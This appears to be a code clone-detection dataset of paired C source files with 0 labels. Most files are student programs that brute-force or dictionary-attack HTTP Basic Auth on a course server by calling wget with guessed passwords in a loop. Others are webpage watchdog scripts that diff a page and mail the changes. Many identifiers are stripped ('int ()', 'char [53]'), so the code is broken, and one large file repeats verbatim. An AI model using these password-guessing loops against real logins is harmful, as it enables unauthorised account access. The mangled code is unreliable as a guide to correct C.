#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include<stdio.h> #include<stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/time.h> int () { char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int a=0,b=0,c=0,d,e,count=0; char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50]; char result,result1,result2,mx[100],mx1,mx2,mx3,mx4; int ,end,t; = time(); while(sizeof(lc)!=52) { temp2[0]=lc[d]; temp2[1]='\0'; d=d+1; strcpy(p,temp2); while(sizeof(uc)!=52) { temp3[0]=uc[b]; temp3[1]='\0'; b=b+1; strcpy(q,p); strcat(q,temp3); for(e=0;e<52;e++) { temp1[0]=gc[e]; temp1[1]='\0'; strcpy(r,q); strcat(r,temp1); strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd="); strcat(mx,r); printf("temp3=%s\n",mx); if(system(mx)==0) { printf("Password=%s\n",mx); printf("%d \n",count); end = time(); t = (end -); t /= 1000000000.0; printf("The total time_var taken is:%llds\n",t); exit(1); } } } } return 0; }
0
076.c
009.c
#include <stdio.h> #include <stdlib.h> #include <sys/stat.h> #include <unistd.h> #define USERNAME "" #define URL "sec-crack.cs.rmit.edu./SEC/2" #define TEST_URL "yallara.cs.rmit.edu./~/secure" #define MAX_PASSWD_LEN 3 #define MAX_CHAR_SET 52 #define TRUE 1 #define FALSE 0 typedef int (*CrackFuncPtr)(const char*, const char*); int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func); char* initPasswdStr(int len, char ch); int getChPos(const char chSet[], int numOfCh, char ch); int pow(int x, int y); int crackHTTPAuth(const char *username, const char *passwd); int () { char charSet[] = {'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char charSetS[] = {'A', 'B', 'C'}; int i; for (i=1; i<=MAX_PASSWD_LEN; i++) { if (runBruteForce(charSet, MAX_CHAR_SET, i, crackHTTPAuth)) { return 0; } } printf("\n...password not found\n"); return 0; } int runBruteForce(const char chSet[], int numOfCh, int len, CrackFuncPtr func) { int iter; int chIter; int curPos = 0; char *str; int passwdFound = FALSE; str = initPasswdStr(len, chSet[0]); printf("\nNow trying %d character(s)\n", len); for (iter=0; iter<pow(numOfCh, len)&&!passwdFound; iter++) { for (chIter=len-1; chIter>=0; chIter--) { if (iter % pow(numOfCh, chIter) == 0) { curPos = getChPos(chSet, numOfCh, str[chIter]); str[chIter] = chSet[curPos+1]; } if (iter % pow(numOfCh, (chIter+1)) == 0) { str[chIter] = chSet[0]; } } if (func(USERNAME, str)) { printf("\nPassword found: %s\n", str); passwdFound = TRUE; } printf("."); } (str); str = NULL; return passwdFound; } int getChPos(const char chSet[], int numOfCh, char ch) { int i; for (i=0; i<numOfCh; i++) { if (chSet[i] == ch) { return i; } } return -1; } char* initPasswdStr(int len, char ch) { int i; char *str; str = malloc(len); if (str) { for (i=0; i<len; i++) { str[i] = ch; } str[len] = '\0'; } else { fprintf(stderr, "\nError: Unable allocate %d bytes memory."); exit(1); } return str; } int pow(int x, int y) { int ans = 1, i; for (i=0; i<y; i++) { ans *= x; } return ans; } int crackHTTPAuth(const char *username, const char *passwd) { char cmd[256]; struct stat fileInfo; sprintf(cmd, "wget -O -q --http-user=%s --http-passwd=%s --proxy=off %s", username, passwd, URL); system(cmd); (void)stat("", &fileInfo); return fileInfo.st_size; }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int main() { char *wordptr = " word"; FILE *fp; int syst = 1; char string1[80], string2[50]; strcpy(string1, "wget --http-user= --http-passwd="); strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/"); char words[30]; fp = fopen("words", "r"); while(wordptr != NULL) { wordptr = fgets(words, 30, fp); if (wordptr == NULL) exit(1); words [ strlen(words) - 1 ] = '\0'; strcat(string1, words); strcat(string1, string2); printf("\n %s \n",string1); syst = system(string1); if (syst == 0) { exit(1); } strcpy(string1, ""); strcpy(string1, "wget --http-user= --http-passwd="); printf("%s", words); } }
0
053.c
045.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/times.h> #include <strings.h> #include <ctype.h> int () { int t1, t2, t; int timeinsec, nofattempts; char url[100], url1[80]; strcpy(url, "wget --http-user= --http-passwd="); strcpy(url1, " http://sec-crack.cs.rmit.edu./SEC/2/ -o out.txt"); char word[15], *chk; chk = "word"; FILE *fp; int syst = 1; fp = fopen("words", "r"); t1 = time(); while(chk != NULL) { chk = fgets(word, 15, fp); if (chk == NULL) exit(1); word [ strlen(word) - 1 ] = '\0'; strcat(url, word); strcat(url, url1); nofattempts = nofattempts + 1; printf("\n %s %d\n",word,nofattempts); if (strlen(word) == 3) syst = system(url); if (syst == 0) { t2 = time(); t = t2 - t1; timeinsec = t/1000000000; printf("\n !!! here's the passowrd:- %s",word); printf("\n Total .of atempts: %d\n",nofattempts); printf("\n The total time_var taken: %d seconds", timeinsec); exit(1); } strcpy(url, ""); strcpy(url, "wget --http-user= --http-passwd="); } }
0
053.c
031.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<stdlib.h> #include<strings.h> #include<ctype.h> #include <sys/time.h> #define OneBillion 1e9 int () { int startTime, stopTime, final; int i,j,k; FILE* fp; int pass,len; int count = 0; char [50]; char url1[100]; char url2[100]; startTime = time(); fp = fopen("/usr/share/lib/dict/words","r"); while (fp !='\0') { fgets( ,50,fp); len = strlen(); [strlen()-1] ='\0'; if(len <= 4) { count++; printf("Checking for the word :%s\n",); strcpy(url1 ,"wget --http-user= --http-passwd="); strcat(url1,); strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ "); strcat(url1,url2); pass = system(url1); if (pass == 0) { stopTime = time(); final = stopTime-startTime; printf("\n SUCCESS\n"); printf("The password for the user : %s\n ",); printf("Found the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion); printf("Number of attempts : %d\n",count); exit(1); } } } }
0
053.c
059.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include<stdio.h> #include<strings.h> #include<stdlib.h> #include<ctype.h> #define MINSIZE 26 #define MAXSIZE 52 #define MAX_SIZE 255 int CrackPasswd(char *passwd) { int flag; char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE]; strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/"); strcpy(string2," --http-user= --http-passwd='"); strcpy(,""); strcat(, string1); strcat(, string2); strcat(, passwd); strcat(, "'"); printf("Sending Request as %s\n",); flag = system(); if (flag == 0) { printf("\nPassword is %s\n",passwd); return 1; } strcpy(,""); return 0; } int BruteForce(char *CharArray) { int i, j, k; char passwd[MAX_SIZE]; for (i=0;i<MAX_SIZE;i++) passwd[i] = '\0'; for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; if(CrackPasswd(passwd) == 1) return 1; } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; if(CrackPasswd(passwd) == 1) return 1; } } for(i=0;i<MAXSIZE;i++) { passwd[0] = CharArray[i]; for(j=0;j<MAXSIZE;j++) { passwd[1] = CharArray[j]; for(k=0;k<MAXSIZE;k++) { passwd[2] = CharArray[k]; if(CrackPasswd(passwd) == 1) return 1; } } } return 0; } int (int argc, char *argv[]) { char CharArray[MAXSIZE]; char ch='a'; int i,j; int , end; = time(); strcpy(CharArray,""); for (i=0;i<MINSIZE;i++) { CharArray[i]=ch; ch++; } ch='A'; for (i=MINSIZE;i<MAXSIZE;i++) { CharArray[i]=ch; ch++; } if (argc != 1) { fprintf(stdout,"Usage : ./BruteForce \n"); return(EXIT_FAILURE); } BruteForce(CharArray); getpid(); end = time(); printf("Time Required = %lld msec\n",(end-)/()); return (EXIT_SUCCESS); }
0
053.c
043.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { char word[15], *chk; system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir one"); system("mv www.cs.rmit.edu./images/*.* one/"); system("mv www.cs.rmit.edu./students/*.* one/"); sleep(15); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir two"); system("mv www.cs.rmit.edu./images/*.* two/"); system("mv www.cs.rmit.edu./students/*.* two/"); system("diff one two > difference.txt"); system("mailx -s \"Message1\" < difference.txt"); return 0; }
0
053.c
014.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #define MINCHAR 65 #define MAXCHAR 122 int bruteforce_first(int passlen, int *attempts); int bruteforce_two(int passlen, int *attempts); int bruteforce_three(int passlen, int *attempts); int main() { int i, wdlen = 1; int runtime; int counter ; int initTime = 0, exitTime = 0, runTime = 0; initTime = time(); if (bruteforce_first(wdlen, &counter) == 2) { wdlen++; if (bruteforce_two(wdlen, &counter) == 3) { wdlen++; if (bruteforce_three(wdlen, &counter) == 0) printf("Success In Breaking The Password"); else printf("Failure !!!!!!"); } } else { printf("Success In Breaking The Password"); } exitTime = time(); runTime = (exitTime - initTime); printf("\nNumber of attempts is... %d", counter); printf("\nTime taken is %lld milli seconds\n", (runTime)/()); return 0; } int bruteforce_first(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; puts(str); (*attempts)++; char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully:"); printf("Password is %s", str); return 0; } } return 2; } int bruteforce_two(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 0; if (str[i] == 'Z') { str[i] = 'a'; } else str[i]++; } return 3; } int bruteforce_three(int passlen, int *attempts) { int i; int j = MINCHAR; char *str, *passwd; str = (char *) malloc(passlen * sizeof(char)); for (i = 0; i < passlen; i++) { str[i] = MINCHAR; } str[passlen] = '\0'; while (str[0] != MAXCHAR + 1) { for (i = MINCHAR; i <= MAXCHAR; i++) { if (i == 91) i = i + 6; str[passlen - 1] = i; (*attempts)++; puts(str); char [100]; sprintf(, "wget --http-user= --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/index.php", str); if (system() == 0) { printf("Password cracked successfully: "); printf("Password is %s", str); return 0; } } i = 1; while (i <= passlen - 1) { if (str[passlen - i - 1] == 'z') { str[passlen - i - 1] = MINCHAR; str[passlen - 1 - 2]++; break; } else { if (str[passlen - i - 1] == 'Z') { str[passlen - i - 1] = 'a'; break; } else { str[passlen - i - 1]++; break; } } i++; } } return 0; }
0
053.c
050.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <stdio.h> #include <stdlib.h> #include <sys/time.h> #include <strings.h> #include <ctype.h> int () { FILE *fp; char *chk,[4]; int i=1; while (i == 1) { system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mkdir first"); system("mkdir second"); system("mv www.cs.rmit.edu./images/*.* first/"); system("mv www.cs.rmit.edu./students/*.* first/"); sleep(86400); system("wget -p --convert-links http://www.cs.rmit.edu./students/"); system("mv www.cs.rmit.edu./images/*.* second/"); system("mv www.cs.rmit.edu./students/*.* second/"); system("diff first second > imagesdifference.txt"); fp = fopen("imagesdifference.txt","r"); chk = fgets(, 4, fp); if (strlen() != 0) system("mailx -s \"Difference from WatchDog\" < imagesdifference.txt"); } return 0; }
0
053.c
016.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<ctype.h> #include<time.h> int () { int m,n,o,i; char URL[255]; char v[3]; char temp1[100]; char temp2[100]; char temp3[250]; char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'}; time_t u1,u2; (void) time(&u1); strcpy(temp1,"wget --http-user= --http-passwd="); strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php"); for(m=0;m<=51;m++) { v[0]=[m]; v[1]='\0'; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(n=0;n<=51;n++) { v[0]=[m]; v[1]=[n]; v[2]='\0'; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } for(o=0;o<=51;o++) { v[0]=[m]; v[1]=[n]; v[2]=[o]; strcpy(URL,v); printf("\nTesting with password %s\n",URL); strcat(temp3,temp1); strcat(temp3,URL); strcat(temp3,temp2); printf("\nSending the %s\n",temp3); i=system(temp3); if(i==0) { (void) time(&u2); printf("\n The password is %s\n",URL); printf("\n\nThe time_var taken crack the password is %d second\n\n",(int)(u2-u1)); exit(0); } else { strcpy(temp3,""); } } } } }
#include <string.h> #include <stdlib.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/wait.h> #include <sys/time.h> void emptyFile(char* name) { FILE* myFile; myFile = fopen(name,"w"); fclose(myFile); } int (void) { FILE* myFile; char* myString; myString = malloc(sizeof(char ) * 100); emptyFile(".old.html"); emptyFile(".new.html"); system("wget -O .old.html -q http://www.cs.rmit.edu./students/"); while(1) { emptyFile(".new.html"); system("wget -O .new.html -q http://www.cs.rmit.edu./students/"); system("diff .old.html .new.html > watch.txt"); myFile = fopen("watch.txt","r"); if(myFile != (FILE*) NULL) { fgets(myString,100,myFile); if(strlen(myString) > 0) { system("mail @cs.rmit.edu. < watch.txt"); system("cp .new.html .old.html"); } } sleep(60*60*24); } return 1; }
0
053.c
007.c
